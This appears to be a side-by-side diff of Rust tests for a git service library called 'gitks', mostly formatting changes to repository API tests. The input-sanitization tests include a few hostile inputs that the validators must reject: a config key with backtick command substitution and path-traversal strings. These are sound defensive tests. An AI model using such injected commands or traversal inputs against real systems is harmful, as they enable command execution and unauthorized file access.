force: false, force: false,
}).unwrap(); })
.unwrap();
assert!(resp.ok, "write_ref failed: {}", resp.error); assert!(resp.ok, "write_ref failed: {}", resp.error);
let exists = gb.ref_exists(gitks::pb::RefExistsRequest { let exists = gb
.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()), repository: Some(hdr()),
ref_name: "refs/heads/test-write".into(), ref_name: "refs/heads/test-write".into(),
}).unwrap(); })
.unwrap();
assert!(exists.exists); assert!(exists.exists);
let not_exists = gb.ref_exists(gitks::pb::RefExistsRequest { let not_exists = gb
.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()), repository: Some(hdr()),
ref_name: "refs/heads/nonexistent".into(), ref_name: "refs/heads/nonexistent".into(),
}).unwrap(); })
.unwrap();
assert!(!not_exists.exists); assert!(!not_exists.exists);
} }
#[test] #[test]
fn test_update_references_batch() { fn test_update_references_batch() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let resp = gb.update_references(gitks::pb::UpdateReferencesRequest { let resp = gb
.update_references(gitks::pb::UpdateReferencesRequest {
repository: Some(hdr()), repository: Some(hdr()),
updates: vec![ updates: vec![
gitks::pb::RefUpdateEntry { gitks::pb::RefUpdateEntry {
@@ -112,23 +117,28 @@ fn test_update_references_batch() {
old_oid: String::new(), old_oid: String::new(),
}, },
], ],
}).unwrap(); })
.unwrap();
assert!(resp.failed_refs.is_empty(), "error: {}", resp.error); assert!(resp.failed_refs.is_empty(), "error: {}", resp.error);
let a = gb.ref_exists(gitks::pb::RefExistsRequest { let a = gb
.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()), repository: Some(hdr()),
ref_name: "refs/heads/batch-a".into(), ref_name: "refs/heads/batch-a".into(),
}).unwrap(); })
.unwrap();
assert!(a.exists); assert!(a.exists);
} }
#[test] #[test]
fn test_update_references_empty() { fn test_update_references_empty() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.update_references(gitks::pb::UpdateReferencesRequest { let resp = gb
.update_references(gitks::pb::UpdateReferencesRequest {
repository: Some(hdr()), repository: Some(hdr()),
updates: vec![], updates: vec![],
}).unwrap(); })
.unwrap();
assert!(resp.failed_refs.is_empty()); assert!(resp.failed_refs.is_empty());
} }
@@ -142,22 +152,26 @@ fn test_delete_refs() {
new_oid: oid, new_oid: oid,
old_oid: String::new(), old_oid: String::new(),
force: false, force: false,
}).unwrap(); })
.unwrap();
let resp = gb.delete_refs(gitks::pb::DeleteRefsRequest { let resp = gb
.delete_refs(gitks::pb::DeleteRefsRequest {
repository: Some(hdr()), repository: Some(hdr()),
ref_names: vec!["refs/heads/to-delete".into()], ref_names: vec!["refs/heads/to-delete".into()],
}).unwrap(); })
.unwrap();
assert!(resp.failed_refs.is_empty()); assert!(resp.failed_refs.is_empty());
let exists = gb.ref_exists(gitks::pb::RefExistsRequest { let exists = gb
.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()), repository: Some(hdr()),
ref_name: "refs/heads/to-delete".into(), ref_name: "refs/heads/to-delete".into(),
}).unwrap(); })
.unwrap();
assert!(!exists.exists); assert!(!exists.exists);
} }
#[test] #[test]
fn test_find_default_branch_name() { fn test_find_default_branch_name() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
+56 -32
View File
@@ -329,29 +329,32 @@ async fn test_exists_nonexistent_repo() {
assert!(!result.exists); assert!(!result.exists);
} }
#[test] #[test]
fn test_find_merge_base() { fn test_find_merge_base() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let main_oid = common::get_main_oid(&gb); let main_oid = common::get_main_oid(&gb);
let feature_oid = common::get_feature_oid(&gb); let feature_oid = common::get_feature_oid(&gb);
let resp = gb.find_merge_base(FindMergeBaseRequest { let resp = gb
.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
revisions: vec![ revisions: vec![
main_oid.as_bytes().to_vec(), main_oid.as_bytes().to_vec(),
feature_oid.as_bytes().to_vec(), feature_oid.as_bytes().to_vec(),
], ],
}).unwrap(); })
.unwrap();
assert!(!resp.base_oid.is_empty()); assert!(!resp.base_oid.is_empty());
} }
#[test] #[test]
fn test_find_merge_base_empty() { fn test_find_merge_base_empty() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.find_merge_base(FindMergeBaseRequest { let resp = gb
.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
revisions: vec![], revisions: vec![],
}).unwrap(); })
.unwrap();
assert!(resp.base_oid.is_empty()); assert!(resp.base_oid.is_empty());
} }
@@ -359,10 +362,12 @@ fn test_find_merge_base_empty() {
fn test_find_merge_base_single() { fn test_find_merge_base_single() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let resp = gb.find_merge_base(FindMergeBaseRequest { let resp = gb
.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
revisions: vec![oid.as_bytes().to_vec()], revisions: vec![oid.as_bytes().to_vec()],
}).unwrap(); })
.unwrap();
assert!(!resp.base_oid.is_empty()); assert!(!resp.base_oid.is_empty());
} }
@@ -371,11 +376,13 @@ fn test_commit_is_ancestor() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb); let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb); let main_oid = common::get_main_oid(&gb);
let resp = gb.commit_is_ancestor(CommitIsAncestorRequest { let resp = gb
.commit_is_ancestor(CommitIsAncestorRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
ancestor_oid: feature_oid, ancestor_oid: feature_oid,
descendant_oid: main_oid, descendant_oid: main_oid,
}).unwrap(); })
.unwrap();
assert!(resp.is_ancestor); assert!(resp.is_ancestor);
} }
@@ -384,23 +391,29 @@ fn test_commit_is_ancestor_false() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let main_oid = common::get_main_oid(&gb); let main_oid = common::get_main_oid(&gb);
let feature_oid = common::get_feature_oid(&gb); let feature_oid = common::get_feature_oid(&gb);
let resp = gb.commit_is_ancestor(CommitIsAncestorRequest { let resp = gb
.commit_is_ancestor(CommitIsAncestorRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
ancestor_oid: main_oid, ancestor_oid: main_oid,
descendant_oid: feature_oid, descendant_oid: feature_oid,
}).unwrap(); })
.unwrap();
assert!(!resp.is_ancestor); assert!(!resp.is_ancestor);
} }
#[test] #[test]
fn test_objects_size() { fn test_objects_size() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let resp = gb.objects_size(ObjectsSizeRequest { let resp = gb
.objects_size(ObjectsSizeRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
oids: vec![oid.clone(), "0000000000000000000000000000000000000000".into()], oids: vec![
}).unwrap(); oid.clone(),
"0000000000000000000000000000000000000000".into(),
],
})
.unwrap();
assert_eq!(resp.sizes.len(), 2); assert_eq!(resp.sizes.len(), 2);
assert!(resp.sizes[0].found); assert!(resp.sizes[0].found);
assert!(resp.sizes[0].size > 0); assert!(resp.sizes[0].size > 0);
@@ -409,10 +422,12 @@ fn test_objects_size() {
#[test] #[test]
fn test_objects_size_empty() { fn test_objects_size_empty() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.objects_size(ObjectsSizeRequest { let resp = gb
.objects_size(ObjectsSizeRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
oids: vec![], oids: vec![],
}).unwrap(); })
.unwrap();
assert!(resp.sizes.is_empty()); assert!(resp.sizes.is_empty());
} }
@@ -423,7 +438,6 @@ fn test_repository_size() {
assert!(resp.size_bytes > 0); assert!(resp.size_bytes > 0);
} }
#[test] #[test]
fn test_find_license_no_license() { fn test_find_license_no_license() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
@@ -431,51 +445,57 @@ fn test_find_license_no_license() {
assert!(resp.license_spdx.is_empty()); assert!(resp.license_spdx.is_empty());
} }
#[test] #[test]
fn test_optimize_repository_heuristic() { fn test_optimize_repository_heuristic() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.optimize_repository(OptimizeRepositoryRequest { let resp = gb
.optimize_repository(OptimizeRepositoryRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
strategy: OptimizeStrategy::Heuristic as i32, strategy: OptimizeStrategy::Heuristic as i32,
}).unwrap(); })
.unwrap();
assert!(resp.ok); assert!(resp.ok);
} }
#[test] #[test]
fn test_optimize_repository_incremental() { fn test_optimize_repository_incremental() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.optimize_repository(OptimizeRepositoryRequest { let resp = gb
.optimize_repository(OptimizeRepositoryRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
strategy: OptimizeStrategy::Incremental as i32, strategy: OptimizeStrategy::Incremental as i32,
}).unwrap(); })
.unwrap();
assert!(resp.ok); assert!(resp.ok);
} }
#[test] #[test]
fn test_search_files_by_content() { fn test_search_files_by_content() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.search_files_by_content(SearchFilesByContentRequest { let resp = gb
.search_files_by_content(SearchFilesByContentRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
query: "Test".into(), query: "Test".into(),
revision: "main".into(), revision: "main".into(),
max_results: 10, max_results: 10,
case_sensitive: true, case_sensitive: true,
}).unwrap(); })
.unwrap();
assert!(!resp.results.is_empty()); assert!(!resp.results.is_empty());
} }
#[test] #[test]
fn test_search_files_by_content_no_match() { fn test_search_files_by_content_no_match() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.search_files_by_content(SearchFilesByContentRequest { let resp = gb
.search_files_by_content(SearchFilesByContentRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
query: "zzzznonexistentzzzz".into(), query: "zzzznonexistentzzzz".into(),
revision: "main".into(), revision: "main".into(),
max_results: 10, max_results: 10,
case_sensitive: true, case_sensitive: true,
}).unwrap(); })
.unwrap();
assert!(resp.results.is_empty()); assert!(resp.results.is_empty());
} }
@@ -495,13 +515,15 @@ fn test_search_files_by_content_empty_query() {
#[test] #[test]
fn test_search_files_by_name() { fn test_search_files_by_name() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.search_files_by_name(SearchFilesByNameRequest { let resp = gb
.search_files_by_name(SearchFilesByNameRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
query: "README".into(), query: "README".into(),
revision: "main".into(), revision: "main".into(),
max_results: 10, max_results: 10,
recursive: true, recursive: true,
}).unwrap(); })
.unwrap();
assert!(!resp.results.is_empty()); assert!(!resp.results.is_empty());
assert!(resp.results.iter().any(|r| r.path.contains("README"))); assert!(resp.results.iter().any(|r| r.path.contains("README")));
} }
@@ -509,12 +531,14 @@ fn test_search_files_by_name() {
#[test] #[test]
fn test_search_files_by_name_no_match() { fn test_search_files_by_name_no_match() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.search_files_by_name(SearchFilesByNameRequest { let resp = gb
.search_files_by_name(SearchFilesByNameRequest {
repository: Some(header(&gb)), repository: Some(header(&gb)),
query: "zzzznonexistentzzzz".into(), query: "zzzznonexistentzzzz".into(),
revision: "main".into(), revision: "main".into(),
max_results: 10, max_results: 10,
recursive: true, recursive: true,
}).unwrap(); })
.unwrap();
assert!(resp.results.is_empty()); assert!(resp.results.is_empty());
} }
-6
View File
@@ -2,7 +2,6 @@
use gitks::sanitize::*; use gitks::sanitize::*;
#[test] #[test]
fn test_validate_ref_name_accepts_valid_names() { fn test_validate_ref_name_accepts_valid_names() {
assert!(validate_ref_name("main").is_ok()); assert!(validate_ref_name("main").is_ok());
@@ -70,7 +69,6 @@ fn test_validate_ref_name_rejects_too_long() {
assert!(validate_ref_name(&max_valid_name).is_ok()); assert!(validate_ref_name(&max_valid_name).is_ok());
} }
#[test] #[test]
fn test_validate_revision_accepts_empty() { fn test_validate_revision_accepts_empty() {
assert!(validate_revision("").is_err()); assert!(validate_revision("").is_err());
@@ -149,7 +147,6 @@ fn test_validate_revision_accepts_valid_branch_names() {
assert!(validate_revision("v1.0.0").is_ok()); assert!(validate_revision("v1.0.0").is_ok());
} }
#[test] #[test]
fn test_validate_file_path_accepts_valid_paths() { fn test_validate_file_path_accepts_valid_paths() {
assert!(validate_file_path("file.txt").is_ok()); assert!(validate_file_path("file.txt").is_ok());
@@ -215,7 +212,6 @@ fn test_validate_file_path_rejects_windows_reserved_names() {
assert!(validate_file_path("CON.txt").is_err()); assert!(validate_file_path("CON.txt").is_err());
} }
#[test] #[test]
fn test_validate_relative_path_accepts_valid_paths() { fn test_validate_relative_path_accepts_valid_paths() {
assert!(validate_relative_path("repo").is_ok()); assert!(validate_relative_path("repo").is_ok());
@@ -242,7 +238,6 @@ fn test_validate_relative_path_rejects_traversal() {
assert!(validate_relative_path("path/..").is_err()); assert!(validate_relative_path("path/..").is_err());
} }
#[test] #[test]
fn test_validate_config_key_accepts_safe_keys() { fn test_validate_config_key_accepts_safe_keys() {
assert!(validate_config_key("user.name").is_ok()); assert!(validate_config_key("user.name").is_ok());
@@ -279,7 +274,6 @@ fn test_validate_config_key_rejects_invalid_chars() {
assert!(validate_config_key("key`command`").is_err()); assert!(validate_config_key("key`command`").is_err());
} }
/// Ensure no input causes panic in validate_ref_name. /// Ensure no input causes panic in validate_ref_name.
#[test] #[test]
fn fuzz_validate_ref_name_no_panic() { fn fuzz_validate_ref_name_no_panic() {